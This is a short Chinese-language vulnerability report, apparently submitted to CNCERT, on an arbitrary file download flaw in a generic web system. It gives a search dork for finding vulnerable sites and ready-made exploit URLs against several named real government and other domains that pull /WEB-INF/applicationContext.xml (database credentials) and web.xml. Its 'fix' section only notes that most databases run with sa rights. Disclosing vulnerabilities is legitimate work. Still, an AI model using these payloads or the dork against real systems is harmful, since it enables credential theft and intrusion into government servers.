Cncert 某通用型系统任意文件下载漏洞下载

晚上无聊，翻了翻之前的漏洞，通用型程序漏洞导致多个政府网站沦陷 看到该系统，随便找了几个例子,发现该系统存在任意文件下载漏洞

inurl:web!getTitleGo.action （这里暂不提struts2的漏洞）

随便找几个站点

测试下载 /WEB-INF/web.xml 及 /WEB-INF/applicationContext.xml(数据库连接文件)

 

http://www.jcjjjc.gov.cn/common/down.jsp?filepath=\WEB-INF\applicationContext.xml&filename=

http://www.jcjjjc.gov.cn/common/down.jsp?filepath=\WEB-INF\web.xml&filename=



http://www.jqlzw.com.cn/common/down.jsp?filepath=\WEB-INF\applicationContext.xml&filename=

http://www.jqlzw.com.cn/common/down.jsp?filepath=\WEB-INF\web.xml&filename=



http://www.blsxzfw.gov.cn/common/down.jsp?filepath=\WEB-INF\applicationContext.xml&filename=

http://www.blsxzfw.gov.cn/common/down.jsp?filepath=\WEB-INF\web.xml&filename=



……

 

修复方案：

大都为sa权限，如果数据库服务器是外网的话，是否可以……还是比较危险吧。